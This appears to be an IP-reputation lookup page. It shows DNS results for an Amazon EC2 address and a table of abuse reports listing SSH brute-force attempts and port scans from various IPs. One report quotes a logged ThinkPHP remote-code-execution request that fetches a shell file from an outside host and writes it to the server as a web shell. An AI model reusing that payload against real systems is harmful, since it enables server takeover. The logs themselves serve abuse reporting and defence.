城市(city): unknown
省份(region): unknown
国家(country): United States of America (the)
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 52.70.50.54
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61758
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;52.70.50.54. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025012900 1800 900 604800 86400
;; Query time: 14 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Jan 29 14:05:41 CST 2025
;; MSG SIZE rcvd: 10454.50.70.52.in-addr.arpa domain name pointer ec2-52-70-50-54.compute-1.amazonaws.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
54.50.70.52.in-addr.arpa name = ec2-52-70-50-54.compute-1.amazonaws.com.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 103.208.73.82 | attackbotsspam | Unauthorized connection attempt detected from IP address 103.208.73.82 to port 8080 [J] |
2020-01-26 05:07:21 |
| 202.98.213.218 | attackbotsspam | Jan 25 23:13:57 ncomp sshd[9622]: Invalid user share from 202.98.213.218 Jan 25 23:13:57 ncomp sshd[9622]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.98.213.218 Jan 25 23:13:57 ncomp sshd[9622]: Invalid user share from 202.98.213.218 Jan 25 23:13:59 ncomp sshd[9622]: Failed password for invalid user share from 202.98.213.218 port 45195 ssh2 |
2020-01-26 05:29:43 |
| 211.141.35.72 | attackbots | Jan 25 23:05:14 server sshd\[15185\]: Invalid user test5 from 211.141.35.72 Jan 25 23:05:14 server sshd\[15185\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.141.35.72 Jan 25 23:05:16 server sshd\[15185\]: Failed password for invalid user test5 from 211.141.35.72 port 42584 ssh2 Jan 25 23:17:39 server sshd\[18499\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.141.35.72 user=root Jan 25 23:17:41 server sshd\[18499\]: Failed password for root from 211.141.35.72 port 53644 ssh2 ... |
2020-01-26 04:51:16 |
| 192.72.22.80 | attackbots | Unauthorized connection attempt detected from IP address 192.72.22.80 to port 23 [J] |
2020-01-26 04:52:39 |
| 119.236.215.5 | attackspam | Unauthorized connection attempt detected from IP address 119.236.215.5 to port 5555 [J] |
2020-01-26 05:02:30 |
| 114.239.104.196 | attack | "GET /index.php?s=Home/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=http://www.520yxsf.com/shell.txt&vars[1][]=libsoft.php HTTP/1.1" 404 485 "http://www.XXX.com/index.php?s=Home/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=http://www.520yxsf.com/shell.txt&vars[1][]=libsoft.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2020-01-26 05:21:14 |
| 206.189.233.154 | attackspam | Invalid user mongouser from 206.189.233.154 port 41763 |
2020-01-26 04:51:29 |
| 78.128.107.188 | attackspam | Unauthorized connection attempt detected from IP address 78.128.107.188 to port 8080 [J] |
2020-01-26 05:10:40 |
| 191.185.19.125 | attack | Unauthorized connection attempt detected from IP address 191.185.19.125 to port 23 [J] |
2020-01-26 05:17:21 |
| 51.75.194.151 | attackbots | Tried sshing with brute force. |
2020-01-26 05:27:26 |
| 222.186.175.151 | attackspam | Jan 25 22:14:10 dcd-gentoo sshd[30729]: User root from 222.186.175.151 not allowed because none of user's groups are listed in AllowGroups Jan 25 22:14:12 dcd-gentoo sshd[30729]: error: PAM: Authentication failure for illegal user root from 222.186.175.151 Jan 25 22:14:10 dcd-gentoo sshd[30729]: User root from 222.186.175.151 not allowed because none of user's groups are listed in AllowGroups Jan 25 22:14:12 dcd-gentoo sshd[30729]: error: PAM: Authentication failure for illegal user root from 222.186.175.151 Jan 25 22:14:10 dcd-gentoo sshd[30729]: User root from 222.186.175.151 not allowed because none of user's groups are listed in AllowGroups Jan 25 22:14:12 dcd-gentoo sshd[30729]: error: PAM: Authentication failure for illegal user root from 222.186.175.151 Jan 25 22:14:12 dcd-gentoo sshd[30729]: Failed keyboard-interactive/pam for invalid user root from 222.186.175.151 port 45798 ssh2 ... |
2020-01-26 05:21:44 |
| 220.161.92.214 | attackspambots | 2020-01-25T22:10:50.865414ns386461 sshd\[2153\]: Invalid user ftpuser from 220.161.92.214 port 45842 2020-01-25T22:10:50.869748ns386461 sshd\[2153\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.161.92.214 2020-01-25T22:10:52.472800ns386461 sshd\[2153\]: Failed password for invalid user ftpuser from 220.161.92.214 port 45842 ssh2 2020-01-25T22:14:13.017406ns386461 sshd\[5428\]: Invalid user fs from 220.161.92.214 port 58808 2020-01-25T22:14:13.022041ns386461 sshd\[5428\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.161.92.214 ... |
2020-01-26 05:22:17 |
| 93.174.95.41 | attack | Jan 25 22:10:54 h2177944 kernel: \[3184913.948867\] \[UFW BLOCK\] IN=venet0 OUT= MAC= SRC=93.174.95.41 DST=85.214.117.9 LEN=40 TOS=0x00 PREC=0x00 TTL=250 ID=54159 PROTO=TCP SPT=56744 DPT=5901 WINDOW=1024 RES=0x00 SYN URGP=0 Jan 25 22:10:54 h2177944 kernel: \[3184913.948880\] \[UFW BLOCK\] IN=venet0 OUT= MAC= SRC=93.174.95.41 DST=85.214.117.9 LEN=40 TOS=0x00 PREC=0x00 TTL=250 ID=54159 PROTO=TCP SPT=56744 DPT=5901 WINDOW=1024 RES=0x00 SYN URGP=0 Jan 25 22:14:09 h2177944 kernel: \[3185108.723150\] \[UFW BLOCK\] IN=venet0 OUT= MAC= SRC=93.174.95.41 DST=85.214.117.9 LEN=40 TOS=0x00 PREC=0x00 TTL=250 ID=51711 PROTO=TCP SPT=56744 DPT=11777 WINDOW=1024 RES=0x00 SYN URGP=0 Jan 25 22:14:09 h2177944 kernel: \[3185108.723165\] \[UFW BLOCK\] IN=venet0 OUT= MAC= SRC=93.174.95.41 DST=85.214.117.9 LEN=40 TOS=0x00 PREC=0x00 TTL=250 ID=51711 PROTO=TCP SPT=56744 DPT=11777 WINDOW=1024 RES=0x00 SYN URGP=0 Jan 25 22:15:59 h2177944 kernel: \[3185218.601185\] \[UFW BLOCK\] IN=venet0 OUT= MAC= SRC=93.174.95.41 DST=85.214.117.9 LE |
2020-01-26 05:23:54 |
| 188.59.188.40 | attackbots | Unauthorized connection attempt detected from IP address 188.59.188.40 to port 8080 [J] |
2020-01-26 04:53:06 |
| 46.225.116.98 | attackspam | Unauthorized connection attempt detected from IP address 46.225.116.98 to port 2323 [J] |
2020-01-26 05:12:29 |